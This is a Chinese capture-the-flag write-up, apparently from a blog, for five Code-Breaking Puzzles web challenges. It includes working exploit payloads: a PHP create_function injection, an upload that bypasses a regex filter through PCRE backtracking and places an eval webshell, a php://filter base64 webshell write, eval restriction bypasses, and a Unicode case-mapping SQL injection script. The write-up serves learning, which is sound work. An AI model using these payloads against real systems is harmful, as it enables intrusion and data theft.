[代码审计] Code-Breaking Puzzles Writeup
文章最后更新时间为:2019年01月16日 13:57:33
0. 前言
Code-Breaking Puzzles 是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。地址为https://code-breaking.com/
每个题目的知识点如下:
- 1.function PHP函数利用技巧
- 2.pcrewaf PHP正则特性
- 3.phpmagic PHP写文件技巧
- 4.phplimit PHP代码执行限制绕过
- 5.nodechr Javascript字符串特性
- 6.javacon SPEL表达式沙盒绕过
- 7.lumenserial 反序列化在7.2下的利用
- 8.picklecode Python反序列化沙盒绕过
- 9.thejs Javascript对象特性利用
水平不够,参考了别人的文章和wp以学习为主,这篇文章介绍了前五题的wp,有问题欢迎指出。
1. function
地址:https://code-breaking.com/puzzle/1/ 其代码为:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
解读一下程序:首先接收action参数,如果action参数匹配正则表达式成功,则输出php文件内容;如果匹配不成功执行命令action,并且将$_GET['arg']
作为参数。
所以我们需要让$action
参数出现除了数字字母以外的东西。关于这道题,小密圈里是这么解释的:
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以我们在函数名前面加上\
表示默认命名空间里的函数。然后就是需要找一个变量$arg
来引起危险。这里利用了create_function
函数,详细情况可以参考这篇文章
参考上面链接的例子我们先来试试:
http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}phpinfo();/*
执行成功,接下来查找一下目录下放flag的文件即可
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(glob(%27../*%27));/*
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
2. pcrewaf
地址:https://code-breaking.com/puzzle/2
源代码为:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = '/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
当我们上传的文件能通过is_php($data)
时,就会echo "bad request";
,否则就保存上传的文件,所以这里主要是is_php
函数的绕过问题。
具体的wp可以看这里
下面是python3的exp为:
import requests
files = {
'file': r'aaa<?php eval($_GET[zzz]);//' + r'a' * 1000000
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
执行结果如下:
然后获取flag:
http://51.158.75.42:8088/data/4c4e94b58b86fe1065791f22e26b9d7a/1php?zzz=print_r(scandir(%27../../../%27));
http://51.158.75.42:8088/data/4c4e94b58b86fe1065791f22e26b9d7a/1.php?zzz=print_r(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));
3. phpmagic
地址为 https://code-breaking.com/puzzle/3/ 这道题的源码如下(去除html部分)
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
程序执行$command
命令,将结果$output
写进$log_name
。
- 其中$command由
dig -t A -q
和可控的$domain
拼接而成,因为命令固定为dig,且$domain经过escapeshellarg转义,所以命令注入似乎不行,只能执行这一个命令。 - 对于
$output
还加上了一个htmlspecialchars()转义,所以直接写shell也是不行的。 对于
$log_name
,还有个判断,只有后缀不是php的文件才可以写。if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); }
这里是可以绕过的,当文件名为
php/.
时,pathinfo($log_name, PATHINFO_EXTENSION)
的结果实际上为空,但是解析的时候会默认去点/.
,所以log取后缀php/.
$log_name
由$_SERVER['SERVER_NAME']
和可控的$log_name
组成,关于$_SERVER['SERVER_NAME']
官方是这么解释的:
在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。这里直接就是传递的Host参数。所以目前可以控制写php文件的文件名,怎么来控制写入内容,写进我们想要的东西呢?
这里其实可以借助php伪协议来写入文件,可以参考P神另一篇文章,点击这里'
我们首先将要写入的内容base64编码,再对整个$output
进行base64解码,这样原先存在的标签等就会被过滤。这里还有一个知识点,就是base64编码之后是4的倍数,解码也是按4位4位来解的,如果解码碰到不认识的字符,则直接跳过所以这里我们需要使前面的字符中可被解码的部分为4的倍数,这样我们自己加进去的内容才不会被混乱。
首先我们来尝试写一个shell进入,内容是<?php @eval($_GET["cmd"]);?>
,base64加密之后是PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
,然后输入base64编码之后的内容,得到结果如下:
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47797
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;pd9wahagqgv2ywwojf9hrvrbimntzcjdkts/pg==. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2019011001 1800 900 604800 86400
;; Query time: 81 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Fri Jan 11 13:33:40 UTC 2019
;; MSG SIZE rcvd: 133
前面可被解码的部分长度正好为24,所以这里的$domain
参数我们就设置为PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
构造的post包如下:
POST / HTTP/1.1
Host: php
Content-Length: 124
Cache-Control: max-age=0
Origin: http://51.158.75.42:8082
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
domain=PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==&log=://filter/write=convert.base64-decode/resource=a.php/.
4. phplimit
这道题地址为 https://code-breaking.com/puzzle/4/ 源代码如下
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
正则表达式中的(?R)
表示一种递归匹配,可参考http://www.php.net/manual/en/regexp.reference.recursive.php。
匹配的情况大致如下:
这里只允许最内层不带参数的函数嵌套,类似func1(func2(func3()));
参考别人的写法,解题有多种方法:
session_id
- session_id用于设置和获取当前的会话id,也就是PHPSESSID的值
- session_start会创建新会话或者重用现有会话。 如果通过GET或者POST方式,或者使用cookie提交了会话ID,则会重用现有会话。
这里就可以利用session_id(session_start())
来获取我们想要的数据,将其作为session_start()的参数即可。但是PHPSESSID中不允许一些[a-zA-Z0-9_]之外的字符串出现,所以这里将其换种编码即可,使用hex2bin则将16进制转换为二进制即可。
首先尝试获取命令目录:
php > echo bin2hex("var_dump(scandir('/var/www/'));");
7661725f64756d70287363616e64697228272f7661722f7777772f2729293b
然后将其作为PHPSESSION发送:
]
得到目录情况,接下来查看文件内容:
php > echo bin2hex("print_r(file_get_contents('/var/www/flag_phpbyp4ss'));");
7072696e745f722866696c655f6765745f636f6e74656e747328272f7661722f7777772f666c61675f7068706279703473732729293b
get_defined_vars
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:
http://51.158.75.42:8084/?b=print_r(scandir('../'));&code=eval(current(current(get_defined_vars())));
# current 返回数组中的当前单元
http://51.158.75.42:8084/?b=print_r(file_get_contents('../flag_phpbyp4ss'));;&code=eval(current(current(get_defined_vars())));
在Apache中还可以利用getallheaders去获取http头,但是这里的webserver是Nginx,所以没有这个函数
其他
主要是一层一层叠加取值再叠加慢慢尝试,但是利用的前提是知道flag文件就在上一层目录,并且该目录只有一个文件。
这里有几个网上的payload
http://51.158.75.42:8084/?code=var_dump(file_get_contents(next(array_reverse(scandir(dirname(chdir(next(scandir(getcwd())))))))));
http://51.158.75.42:8084/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
5. nodechr
地址为 https://code-breaking.com/puzzle/5/ 这是一段node.js代码:
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
这里也就是一个登陆框的注入,登陆时调用login()
函数,login()
函数和数据库交互之前会调用safeKeyword()
函数和toUpperCase()
函数对用户输入的用户名和密码进行过滤。
关键部分在于:
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
safeKeyword()
过滤了union和select,然后toUpperCase()
讲小写字母变为大写字母,但是toUpperCase()
函数有个特点,可以参考这篇文章, 一些字符经过大小写转换之后会变成字母的形式:
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'
这样也就可以直接绕过select了,select直接将S
用ſ
表示即可,union直接将I
用ı
表示即可。
所以绕过waf时也有可能利用到这种做法, 字符大小写转换时浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。
因为burp不支持unicode,所以用python写的payload如下:
import requests
url = 'http://51.158.73.123:8085/login/'
payload = {
"username": "admin",
"password": "bb' unıon ſelect 1,flag,3 from flags where '1'='1"
}
res = requests.post(url=url, data=payload)
print(res.text)
实现思路是直接联合查询将flag放进username中。
参考
https://www.jianshu.com/p/748749d38fb8
https://www.leavesongs.com
http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/